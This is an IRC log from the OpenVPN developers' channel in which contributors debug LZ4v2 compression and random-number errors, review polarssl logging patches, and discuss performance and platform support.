[~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 03:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:38 -!- noobkit [~Nerazim@46.152.167.187] has quit [Ping timeout: 240 seconds] 03:38 -!- noobkit [~Nerazim@46.152.173.10] has joined #openvpn-devel 04:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 04:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 04:09 -!- ltfish [fish@2600:3c01::f03c:91ff:fe73:12d0] has quit [Ping timeout: 250 seconds] 06:19 -!- noobkit [~Nerazim@46.152.173.10] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 06:19 -!- noobkit [~Nerazim@46.152.173.10] has joined #openvpn-devel 06:54 -!- noobkit [~Nerazim@46.152.173.10] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 06:54 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 09:08 -!- noobkit [~Nerazim@46.152.173.10] has joined #openvpn-devel 10:44 -!- noobkit [~Nerazim@46.152.173.10] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 13:31 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Quit: Leaving] 17:49 -!- noobkit [~Nerazim@46.152.173.10] has joined #openvpn-devel 17:54 -!- noobkit [~Nerazim@46.152.173.10] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] --- Day changed Mon Dec 28 2015 01:42 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 264 seconds] 02:01 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 06:21 <@vpnHelper> RSS Update - wishlistfeed: debian arm packages <http://forums.openvpn.net/topic20593.html> 08:46 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 276 seconds] 08:53 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 10:00 <@vpnHelper> RSS Update - tickets: #641: OpenVPN 2.3.9 no longer prompts for certificate private key password <https://community.openvpn.net/openvpn/ticket/641> 11:31 -!- cron2_ is now known as cron2 11:32 <@cron2> I'm not sure I can make 20:00 (in 90 minutes from now) - kids are slightly out of normal schedule, so I might be late a few minutes 11:33 <@cron2> you can start with all the windows and gui topics :-) 11:51 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 11:56 < lev__> Sorry, had a short Christmas vacation last week. Will submit windows patch this week. 11:58 < lev__> Visited Saint-Petersburg and was amazed by price of booze comparison to Finland 11:58 < lev__> Won't be able to participate in today's meeting :( 12:00 <@mattock_> lev__: ok, take care! 12:06 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 12:51 -!- noobkit [~Nerazim@46.152.173.10] has joined #openvpn-devel 13:00 <@syzzer> let's see who *is* here then :) 13:08 <@mattock_> syzzer: #openvpn-meeting? 14:39 -!- noobkit [~Nerazim@46.152.173.10] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 15:58 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Quit: Leaving] 16:25 -!- eliasp_ is now known as eliasp --- Log closed Mon Dec 28 16:56:18 2015 --- Log opened Mon Jan 04 08:08:08 2016 08:08 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 08:08 -!- Irssi: #openvpn-devel: Total of 29 nicks [9 ops, 0 halfops, 1 voices, 19 normal] 08:08 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:08 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 09:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 09:04 -!- noobkit [~Nerazim@94.99.236.119] has quit [Ping timeout: 260 seconds] 09:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:04 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 255 seconds] 09:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:31 <@dazo> dang the fedora openvpn maintainer is on fire ... https://bodhi.fedoraproject.org/updates/FEDORA-EPEL-2016-3e181e41ca 10:32 -!- noobkit [~Nerazim@94.99.236.119] has joined #openvpn-devel 10:55 <@plaisthos> that was quick 11:21 <@cron2> wow :) 11:23 -!- wiz is now known as jmaurice 11:23 -!- jmaurice is now known as wiz 12:07 <@ecrist> why do we still have code that supports windows xp? 12:07 <@ecrist> https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 12:07 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 12:08 <@ecrist> the commit by Lev 12:12 <@mattock_> ecrist: the decision to pull the plug has not been made yet 12:12 <@mattock_> no other reason 12:13 <@mattock_> the reasoning is that Windows XP still has such a large marketshare that we should not drop support yet 12:13 <@mattock_> unless something comes up which makes supporting XP particularly painful 12:13 <@mattock_> or rather, "would make" 12:32 <@cron2> ecrist: 2.3 supports XP, 2.4 does not 13:22 <@cron2> +/* In the v2 compression schmemes, an uncompressed packet has 13:23 * cron2 carefully removes an "m" here :) 13:33 <@cron2> Jan 4 14:39:31 phillip tun-tcp-p2mp[66358]: 193.149.48.170 peer info: IV_LZ4v2=1 13:34 -!- noobkit [~Nerazim@94.99.236.119] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 13:45 <@vpnHelper> RSS Update - gitrepo: Implement the compression V2 data format for stub and lz4. <https://github.com/OpenVPN/openvpn/commit/a75bb2e40a431e053ea1ef328ec022aaf851ccc0> 14:00 <@plaisthos> cron2: wheee! 15:02 -!- noobkit [~Nerazim@93.168.172.246] has joined #openvpn-devel 15:23 -!- noobkit [~Nerazim@93.168.172.246] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 15:59 <@cron2> plaisthos: congrats :) - now just the timeout patch left \o/ 15:59 <@cron2> syzzer has AEAD, cipher negotiation left 16:00 <@cron2> and "someone" has interactive service... :) 17:35 < ValdikSS> https://bugs.archlinux.org/task/47535 17:35 <@vpnHelper> Title: FS#47535 : [networkmanager] 1.0.10-1 openvpn plugin fails to add routes. (at bugs.archlinux.org) 17:46 -!- dazo is now known as dazo_afk --- Day changed Tue Jan 05 2016 00:46 -!- noobkit [~Nerazim@94.99.236.119] has joined #openvpn-devel 02:29 <@cron2> ValdikSS: outside openvpn scope... it's their own plugin that handles route addition 02:44 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 04:05 <@cron2> whee... http://www.theregister.co.uk/2016/01/04/dutch_government_says_no_to_backdoors/?mt=1451947875719 04:05 <@vpnHelper> Title: Dutch govt says no to backdoors, slides $540k into OpenSSL without breaking eye contact • The Register (at www.theregister.co.uk) 04:05 * cron2 wants 500kEUR for OpenVPN too 04:57 <@syzzer> yup, very glad too there's at least a few sane people in our govt :) 04:59 <@syzzer> (and iirc, the money is destined for 'important open source projects', not just openssl) 06:52 <@cron2> Jan 4 18:25:40 gentoo tun-udp-p2mp[17836]: 194.97.140.3 peer info: IV_SNAPPY=1 06:52 <@cron2> some of my test clients are just tooo old... 07:13 <@plaisthos> hehe 07:13 <@plaisthos> Now, develop IV_SNAPPv2=1! 07:14 <@cron2> someone ripped out snappy... :) and I'm not going back 07:24 <@plaisthos> ;) 07:24 <@plaisthos> and there is also no IV_LZOv2=1 08:03 <@cron2> what is IV_NCP=2? "I can do all the fancy new stuff"? 08:04 <@cron2> Connect on android sends strange IV_ stuff... 08:06 <@plaisthos> cron2: like what? 08:06 <@cron2> only IV_LZO=1, no stub or any other compression bits - but IV_NCP=2 08:06 <@plaisthos> cron2: IV_NCP is negotiable cipher 08:06 <@cron2> ah 08:06 <@plaisthos> and =2 means that also AEAD is supported 08:07 <@cron2> good to know... 08:09 <@cron2> why is it not sending compression stuff... removing comp-lzo from the profile makes it stop sending IV_LZO=1, but nothing else appears 08:12 <@cron2> Jan 5 15:10:33 gentoo openvpn[30199]: cron2-droid/193.149.48.132 Bad LZ4 decompression header byte: 80 08:12 <@cron2> mmmh 08:12 <@cron2> if I put "compress lz4v2" into the profile, it sends IV_LZ4v2=1, but then things fail... 08:13 <@cron2> Jan 5 15:10:33 gentoo openvpn[30199]: cron2-droid/193.149.48.132 Options error: bad comp option: lz4v2 08:13 <@cron2> ah 08:13 <@cron2> server code too old 08:13 <@cron2> *selfslap* 08:20 <@cron2> meh, n7 crashed again... 08:30 <@cron2> Jan 5 15:26:58 gentoo openvpn[27765]: cron2-droid/193.149.48.132 LZ4 compression initializing 08:30 <@cron2> Jan 5 15:26:58 gentoo openvpn[27765]: cron2-droid/193.149.48.132 Assertion failed at comp-lz4.c:51 (compctx->flags & COMP_F_SWAP) 08:30 <@cron2> uh, what 08:32 <@cron2> oh, I can see what happened... 08:32 <@cron2> I set "compress lz4v2" from --client-connect script, which reset .flags to =0, and *then* failed with 08:32 <@cron2> Jan 5 15:26:58 gentoo openvpn[27765]: cron2-droid/193.149.48.132 Options error: bad comp option: lz4v2 08:33 <@cron2> ... so .alg was never set, stayed at lz4, but "flags" got mangled... 08:33 <@cron2> so my suggestion "always set flags=0 first" was a bad suggestion... 08:38 <@cron2> tut tut... 08:39 <@cron2> case COMP_ALG_LZ4: 08:39 <@cron2> ALLOC_OBJ_CLEAR (compctx, struct compress_context); 08:39 <@cron2> compctx->flags = opt->flags; 08:39 <@cron2> compctx->alg = lz4_alg; 08:39 <@cron2> (*compctx->alg.compress_init)(compctx); 08:39 <@cron2> break; 08:39 <@cron2> case COMP_ALGV2_LZ4: 08:39 <@cron2> ALLOC_OBJ_CLEAR (compctx, struct compress_context); 08:39 <@cron2> compctx->flags = opt->flags; 08:39 <@cron2> compctx->alg = lz4v2_alg; 08:39 <@plaisthos> my fault? 08:39 <@cron2> break; 08:39 <@cron2> spot the error in the second picture... 08:39 <@cron2> well, the ASSERT() is my fault, as I suggested setting flags=0 first (but never thought of the case of someone specifying an invalid comp-alg) 08:40 <@plaisthos> oh 08:40 <@plaisthos> neither did I 08:40 <@cron2> the reason why we're never printing "LZ4v2 compression initializing" is also mine, because review didn't spot the missing "init" line there :) 08:41 <@plaisthos> yeah 08:41 <@cron2> ALGV2_UNCOMP is also missing the init() call 08:41 <@plaisthos> missing calls to noop 08:42 <@cron2> right, for UNCOMP, but for LZ4v2 it's printing something which *should* be visible :) 08:42 <@ecrist> mattock_/cron2: My memory must be fuzzy. I thought we had removed XP support a year or so ago. 08:43 <@cron2> I would be perfectly fine with having a NULL there for "we do not have an init function", and calling *compctx->alg.compress_init after the big switch if (compctx != NULL && compctx->alg.compress_init != NULL)... 08:44 <@cron2> but anyway, I want my LZ4v2 message, now that I finally made my test rig actually work :-) 08:45 <@cron2> ecrist: we decided quite a while ago - maybe even 2 years - that we do not really care about XP in master anymore, and if it breaks, we do not mind... but we'd support it for 2.3.x "if it can be done without unacceptable burden" 08:45 <@cron2> ecrist: it took until summer this year until actually breaking xp support in master (some of the new ipv6 routing stuff needs vista+ APIs) 08:50 <@plaisthos> cron2: I will send a patch 08:50 <@plaisthos> cron2: noop in the sense that it does not anything to setup (like in lzo) 09:01 <@ecrist> ah, that brings my recollection into focus. thanks cron2 09:43 -!- dazo_afk is now known as dazo 11:27 <@vpnHelper> RSS Update - gitrepo: Fix assert when comp is called with unknown algorithm, always call comp init method <https://github.com/OpenVPN/openvpn/commit/67b3de98e3b5327a9330b499d6cff179624b8ec2> 12:24 -!- dazo is now known as dazo_afk 14:03 <@vpnHelper> RSS Update - tickets: #646: UDP server with a static key fail to start since update to a version 2.3.9 <https://community.openvpn.net/openvpn/ticket/646> 14:38 -!- noobkit [~Nerazim@94.99.236.119] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 15:17 -!- noobkit [~Nerazim@5.156.160.94] has joined #openvpn-devel 16:06 -!- dazo_afk is now known as dazo 16:18 <@vpnHelper> RSS Update - wishlistfeed: Site-to-Site connection <http://forums.openvpn.net/topic20670.html> 16:21 -!- noobkit [~Nerazim@5.156.160.94] has quit [Ping timeout: 240 seconds] 17:03 <@dazo> [git tip] ... git add --patch 17:04 <@dazo> lets you select which un-staged chunks should be added to the next commit 18:31 -!- dazo is now known as dazo_afk 23:29 -!- noobkit [~Nerazim@5.156.160.94] has joined #openvpn-devel 23:45 -!- noobkit [~Nerazim@5.156.160.94] has quit [Read error: Connection reset by peer] --- Day changed Wed Jan 06 2016 00:43 -!- noobkit [~Nerazim@94.99.236.119] has joined #openvpn-devel 02:05 <@syzzer> dazo: I like git gui for that task - gives me a nice overview :) 02:17 -!- noobkit [~Nerazim@94.99.236.119] has quit [Read error: Connection reset by peer] 02:50 -!- dazo_afk is now known as dazo 03:01 <@cron2> dazo: oh, nice 03:02 <@dazo> syzzer: gui breaks my mantra .... "What can't be done on the command line isn't worth doing" 03:04 * cron2 likes git difftool if the patches are moving around bits and "just reading patches" is not exactly clear 03:46 * plaisthos also uses a ui for staging parts of code 03:50 <@syzzer> dazo: haha, so you browse the web with lynx? 03:50 <@dazo> curl! 03:50 <@syzzer> :') 03:52 <@dazo> But I don't say I only use command line ... I just say it's not interesting doing things which can't at least be done on the command line ;-) 03:53 <@syzzer> ha-ha, so git gui is fine then, since you can do the same thing - just more cumbersome - on the command line ;-) 03:53 <@dazo> what's wrong with vi? ;-) 03:53 <@dazo> git add --patch kicks off $EDITOR 03:54 <@syzzer> dunno, guess I just the overview git gui gives me :) 03:54 <@syzzer> just *like* 03:54 <@dazo> :) 03:58 <@dazo> syzzer: just checked out git gui ... it doesn't quite manage to do what 'git add --patch' does ... (git gui 0.16.0.15 / git 1.8.3.1) 03:59 <@dazo> oh ... right ... I missed the context menu 03:59 <@cron2> isn't 1.8 fairly ancient? my git claims to be 2.6.4 03:59 <@dazo> yeah, but that's what RHEL7 provides currently 03:59 <@dazo> git 2.7 was released quite recently 04:34 <@plaisthos> git gui 04:34 <@plaisthos> git: 'gui' is not a git command. See 'git --help'. 04:34 <@plaisthos> I guess my git does not have a ui 04:35 <@dazo> plaisthos: in rhel/fedora it is needed to install the git-gui package ... not sure about other distros, it's usually a packaging/distribution decision 04:35 <@plaisthos> dazo: yeah 04:35 <@plaisthos> git version 2.5.4 (Apple Git-61) 04:36 <@plaisthos> I probably have to compile git myself or use 3rd party repository 04:36 <@plaisthos> but then again sourcetree works on mac 05:25 <@cron2> git-gui is written in tcl/tk... amazing... that stuff was ancient when *I* was young 05:50 <@plaisthos> it just doesn't die 06:04 <@plaisthos> *sigh* 06:04 <@plaisthos> Never develop an opensource android app 06:04 <@plaisthos> I just got asked if I could assist via skype/teamviewer in building the app 06:27 <@cron2> that request gets +5 points for coolness :) 06:28 <@dazo> syzzer: plaisthos: .... https://pbs.twimg.com/media/CX__49CWEAA7men.jpg 06:29 <@dazo> let's hope that samsung code isn't part of Knox ..... 06:30 <@plaisthos> :) 06:30 <@cron2> looks complicated enough! 06:30 <@dazo> heh 06:31 <@plaisthos> dazo: any more details about that? 06:31 <@plaisthos> but seeing the other code quality of samsung I wouldn't be to sure 06:31 <@dazo> plaisthos: nope ... just appeared on twitter 10 min ago 06:31 <@plaisthos> dazo: at least the tweet? :) 06:32 <@dazo> https://twitter.com/marcograss 06:32 <@vpnHelper> Title: Marco Grassi (@marcograss) | Twitter (at twitter.com) 06:33 <@plaisthos> dazo: thanks 06:42 <@plaisthos> @_jsoo_ if you are interested, the meme code is in MtpApplication.apk at least on s6, seems used for something mtp related 06:43 <@plaisthos> so probably not that critical 06:44 <@syzzer> dazo: hehe, I sure hope 'key' is just the wrong name for this thing... 06:45 <@dazo> syzzer: well, a better name would probably be getStaticGarbage() ;-) 07:20 -!- n13l [~n13l@aaa.anect.cz] has quit [Ping timeout: 250 seconds] 08:12 <@plaisthos> https://community.openvpn.net/openvpn/ticket/646 is scary 08:12 <@vpnHelper> Title: #646 (UDP server with a static key fail to start since update to a version 2.3.9) – OpenVPN Community (at community.openvpn.net) 08:49 <@syzzer> plaisthos: yes, it is 08:49 <@syzzer> an exactly the reason why we need that ASSERT() there... 08:49 <@plaisthos> yes... 08:50 <@plaisthos> Although I would have expected that ASSERT not to be triggered 08:50 <@plaisthos> unless we have a broken embedded platform 08:50 <@syzzer> indeed 08:50 <@syzzer> really curious that this guy has this on two different OSes (which I assume are different machines) 08:51 <@syzzer> but I really need to do payed-for work now, hopefully time to dive in tonight 08:51 <@plaisthos> at least on Android the assert hasn't been triggered yet 08:52 <@plaisthos> the android cts suite probably has some randomness check in it :D 10:16 <@vpnHelper> RSS Update - wishlistfeed: How to make OpenVPN warn me before disconnecting? <http://forums.openvpn.net/topic20565.html> 10:39 <@plaisthos> --persist-remote-ip 10:39 <@plaisthos> is a strange option 11:03 <@cron2> syzzer: indeed, #646 is a actually a very good confirmation that our randomness check is a very good addition 11:04 <@cron2> I assume it is something silly, like /dev/*random missing or having wrong permissions, so the built-in random seeding isn't working for openssl *or* polarssl 11:05 <@cron2> oh 11:05 <@cron2> there we go... chroot and no /dev/urandom in there 11:15 <@syzzer> yes, that fully explains it 11:16 <@syzzer> (and makes me wonder, how many 'extra secure' chrooted environments were actually broken... 11:53 <@dazo> should we add an explicit check for /dev/urandom at startup and bailout if it isn't available? 12:01 < ValdikSS> Guys, I believe that OpenVPN is rather slow for embedded 12:02 < ValdikSS> I mean, it's seriously slow. I have an Orange PI with Allwinner H3 SoC (4xCortex A7 @ 1.54 GHz) and I barely have 91 mbit/s with cipher none auth none 12:02 < ValdikSS> Can't get more than 30 mbit/s on a 540 MHz MIPS. 12:02 < ValdikSS> also with cipher none auth none 12:03 < ValdikSS> Badvpn (https://github.com/ambrop72/badvpn), a software which makes tun over ssh connection, consumes 3 times less with encryption than openvpn 12:03 <@vpnHelper> Title: ambrop72/badvpn · GitHub (at github.com) 12:19 <@cron2> dazo: we don't really care if it is /dev/urandom, /dev/random, /dev/misc/random or something inside openssl/polarssl (prngd...) - as long as RAND_bytes() is happy with it... 12:20 <@dazo> fair enough 12:20 <@cron2> so what we definitely need is the error reporting that syzzer suggested in the ticket already... "on standby to ACK and merge" :9 12:20 <@cron2> ValdikSS: cpu bound? 12:21 < ValdikSS> cron2: yes 12:21 < ValdikSS> cron2: 12:21 < ValdikSS> 60-65 mbit/s bf-cbc sha1 12:21 < ValdikSS> 65-66 mbit/s aes-128-cbc sha1 12:21 <@cron2> so where does profiling point to? 12:21 < ValdikSS> setting tun-mtu 10000 greatly helps, but that's not a very good solution for a general use 12:21 < ValdikSS> cron2: I'll recompile with NEON optimizations first and then will do profiling 12:22 < ValdikSS> cron2: by the way, do you know any distro which compiles all packages for arm with NEON? 12:22 <@cron2> sorry, no idea... I run some old debian stuff on my SheevaPlug, but never needed performance out of it 12:25 <@cron2> mattock: could you add "version: 2.3.9, 2.3.10" and "milestone: 2.3.12" to trac please? 12:37 < ValdikSS> cron2: NEON gave only 3 additional megabits. Simple ssh port forwarding with the encryption gets me 100 mbit/s and ssh is known for not very great speeds. 12:44 <@cron2> well... so we need to find out where the CPU time is spent, and improve on that 12:45 * dazo vaguely remember jjk having done something in this area 12:46 <@dazo> For sure I do remember him pointing at the tun driver too, but it was not spent too much time in the SSL layers 13:06 <@cron2> tun will certainly make a difference to "tcp port forwarding over ssh" (no tun involved), but if BadVPN is also using tun, that won't explain the difference 13:21 < ValdikSS> cron2: OpenVPN creates tun with one_queue option while the default is multi_queue. Is there anything about it? 13:22 <@cron2> no idea 13:22 <@cron2> this is linux, I assume? 13:22 <@ecrist> THIS IS SPARTA!!!!1!! 13:23 < ValdikSS> cron2: yes 13:24 * cron2 has no real idea about linux tun options... most likely this is code we inherited from James, 10+ years old 13:30 <@syzzer> ValdikSS: I'm very curious what happens when you change that to multi_queue 13:30 <@dazo> ValdikSS: do make use of multi-queue, the application must also utilize those queues ... AFAIK, the kernels doesn't automatically spread the workload for the application by itself 13:31 < ValdikSS> syzzer: there is another interesting option vnet_hdr: allow sending and receiving large packets 13:32 <@dazo> which basically means that openvpn would need to do threading to make proper use of multi-queues 13:32 <@ecrist> cron2: I've added those for you 13:32 <@ecrist> mattock_: you can ignore 13:32 < ValdikSS> IFF_VNET_HDR is a tun/tap flag that allows you to send and receive large (i.e. GSO) packets and packets with partial checksums. Setting the flag means that every packet is proceeded by the same header which virtio uses to communicate GSO/csum metadata. By enabling this flag on the tap fds we create, we greatly increase the achievable throughput with virtio_net. However, we need to be careful to only set the flag when a) KVM has 13:32 < ValdikSS> support for this ABI and b) the value of the flag is queryable using the TUNGETIFF ioctl. 13:34 <@dazo> that makes sense, though 13:34 <@dazo> Also looking into making use of sendmmsg() and recvmmsg() might help too 13:34 <@dazo> http://man7.org/linux/man-pages/man2/recvmmsg.2.html // http://man7.org/linux/man-pages/man2/sendmmsg.2.html 13:34 <@vpnHelper> Title: recvmmsg(2) - Linux manual page (at man7.org) 13:41 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 13:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:06 <@syzzer> cron2: first patch on the list :) 14:24 <@syzzer> whee, new TLS attack: http://www.mitls.org/pages/attacks/SLOTH 14:24 <@vpnHelper> Title: miTLS - A verified reference implementation of TLS (at www.mitls.org) 14:32 <@syzzer> tl;dr: make sure to disable MD5 cipher suites in TLS 1.2 15:25 <@cron2> syzzer: master and 2.3? too lazy to try right now (but I think it should fit 2.3, and should go in) 16:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 16:06 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 16:12 <@syzzer> the 1/2 and 2/2 'improve loggin 16:12 <@syzzer> g' are master -> 2.3 cherry-picks 16:12 <@syzzer> the other two should apply to both 16:14 <@syzzer> oh, no, the polar optimize patch is master-only, I already squashed that into the polar improvement patch for 2.3 16:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:24 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:21 <@dazo> syzzer: ehhh .... but where's the logo!??!?! 18:21 * dazo is disappointed! 19:51 -!- dazo is now known as dazo_afk 22:48 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 22:54 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Thu Jan 07 2016 00:05 -!- ValdikSS [~valdikss@95.215.45.33] has quit [Ping timeout: 245 seconds] 00:17 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 00:59 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:46 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 01:55 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 02:11 <@syzzer> cron2_: seems you missed my answers here 02:11 <@syzzer> the 1/2 and 2/2 'improve logging' are master -> 2.3 cherry-picks 02:11 <@cron2_> yeah, network hicked up 02:11 <@cron2_> yep, figured that out just now := 02:11 <@cron2_> :) 02:11 <@syzzer> the optimize patch is master-only (already inside 1/2) 02:11 <@cron2_> polar_ok() is master only, as is part of 1/2 02:11 <@cron2_> right 02:11 <@syzzer> the enable debug loggin is both 02:12 <@cron2_> so which one is for RAND_bytes()? 02:12 <@syzzer> the 1/2 and 2/2 02:12 <@cron2_> ah, there it is 02:13 <@syzzer> we already had this logging in master, but never backported because of 'intrusive 02:13 <@syzzer> but I think this issue shows it's worth it 02:13 <@cron2_> and it has seen quite a bit of testing now 02:13 <@syzzer> indeed 02:15 <@cron2_> how does the my_debug thing work? 02:16 <@cron2_> I see a call to debug_set_threshold() and changes to an "unrelated" function my_debug() 02:17 <@cron2_> this looks like a callback function being passed the polar level, up to the threshold set? 02:17 <@cron2_> and then the normal msg() cutoff cuts in on D_TLS_DEBUG_MED etc? 02:34 <@cron2_> syzzer: since 2.3 and master are now quite aligned regarding polarssl code - time to break it for master again, right? :) 02:35 <@syzzer> cron2_: yes, I'll start sending 2.x patches real soon (tm) 02:35 <@syzzer> but first, AEAD 02:35 <@cron2_> haha :) 02:36 <@syzzer> cron2_: yes, my_debug is supplied to polarssl as a callback 02:36 <@syzzer> we already did that, but never set the threshold, so it never got called 02:36 <@cron2_> mmmh 02:37 <@cron2_> are you *sure* the polar_ok() thing is safe? 02:37 <@cron2_> thinking through it again, I think it will call the function in question (= "evaluate errval") twice on failure 02:38 <@cron2_> ... which might wreck the original error code... 02:39 <@cron2_> I have ACKed it, but have second thoughts now (and it is not pushed, so could be taken out again) 02:43 <@syzzer> hmm 02:43 <@syzzer> absolutely right 02:44 <@syzzer> I'll change it to the static inline version I had before 02:44 <@cron2_> ok, I'll send a comment to the list 02:45 <@cron2_> this also affects 1/2 which I just finished merging... :) 02:45 <@cron2_> git reset to the rescue 02:47 <@syzzer> do you prefer a new 1/2, or will you just rip out this part and apply a new polar_ok() afterwards? 02:47 <@cron2_> a new 1/2 would be welcome in this case - you could also merge the new debug patch right in (which I'm just now applying and pushing, because that one is good) 02:55 <@cron2_> out 03:01 <@vpnHelper> RSS Update - gitrepo: polarssl: actually use polarssl debug logging <https://github.com/OpenVPN/openvpn/commit/aa416be9500441313c703ad7cb848c289378bbd3> 03:02 <@syzzer> cron2_: ok, will do 03:05 -!- cron2_ is now known as cron2 03:05 <@cron2> thanks 03:09 <@cron2> .oO(OpenSSL actually queues up error codes...? amazing) 03:55 <@plaisthos> yeah 03:55 <@plaisthos> that is a strange feature 03:56 <@plaisthos> and makes error handling actually harder 03:56 <@plaisthos> since checking for error is not enough 03:56 <@plaisthos> you have to loop through all codes and see if one is fatal or only a "warning" 04:26 <@vpnHelper> RSS Update - gitrepo: polarssl: optimize polar_ok() for non-errors <https://github.com/OpenVPN/openvpn/commit/3a39bf7dfe5a57fe8bc43c073b2a009bb6994e78> 04:37 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 04:43 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 05:21 -!- dazo_afk is now known as dazo 07:23 <@plaisthos> on Android TV a user has no way of telling if he connected to a VPN or not %) 07:54 <@cron2> \o/ 09:11 <@plaisthos> cron2: as for android tablet, the nvidia shield tablet seems to have a nice value for money at the moment 09:12 <@plaisthos> (and yes I know that the tablet is also a high performance gaming tablet) 09:22 -!- dazo is now known as dazo_afk 09:35 <@cron2> reasonable up-to-date and not too buggy android? 09:36 <@plaisthos> cron2: Android 6 09:37 <@cron2> oh, wow. alternate.de claims android 5.0, but that's still better than the heap of still-selling 4.x tables 09:37 <@cron2> the shield K1, right? 09:37 <@plaisthos> yeah 09:37 <@plaisthos> it is bit heavier than most tablets 09:38 <@plaisthos> since it is a gaming tablet and has a larger battery 09:42 <@cron2> mmmh, no 3G option... I really liked that on the N7 (though it was never really working on mine, but still) 09:43 <@cron2> mattock_: please be fixing your builder 09:49 <@plaisthos> hm yeah 09:49 <@plaisthos> nobody seems to produce nexus 7 like devices anymore 09:49 <@plaisthos> or they are expensive 09:49 <@plaisthos> like z3 compat tablet from sony 12:04 <@cron2> oh yay, the arch buildbot has reached a new level of excitement 12:04 <@cron2> [-- Attachment #2: git.stdio --] 12:04 <@cron2> could not find 'git' 12:10 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 12:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:23 -!- dazo_afk is now known as dazo 13:40 -!- Netsplit *.net <-> *.split quits: @plaisthos 13:44 -!- Netsplit over, joins: plaisthos 13:44 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:46 <@mattock_> cron2: fixed the release/2.3 windows buildslave 13:47 <@mattock_> I completely forgot OPENVPN_VERSION was also set outside openvpn-build 13:48 <@mattock_> now it's set to 2.3.10 as it should 14:19 <@syzzer> lev__: just came across this one in my git tree: 14:19 <@syzzer> http://thread.gmane.org/gmane.network.openvpn.devel/10216/focus=10491 14:19 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:23 < valdikss> Hey-hey, please clarify moneyz status and what do you think about bitcoin 14:27 < valdikss> whaa- 14:27 < valdikss> what they did with flattr. It's barely usable now. 14:55 < valdikss> Just FYI, there is an open-source router called Turris Omnia from Czech guys from nic.cz, and it would be awesome. They did an easy panel to configure openvpn 16:41 -!- krzie [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:42 -!- klow [~klong@c-73-53-31-109.hsd1.wa.comcast.net] has joined #openvpn-devel 16:44 < klow> Greetings. Looking for some help. I've compiled openssl with FIPS module and am trying to compile (seems successful) openvpn statically with the tips compliant openssl. This is on debian . Although the compile seems fine, at least for the openvpn binary, I am not able to put some recommended code into main() as to verify we are in "fips mode" 16:44 < klow> #ifdef 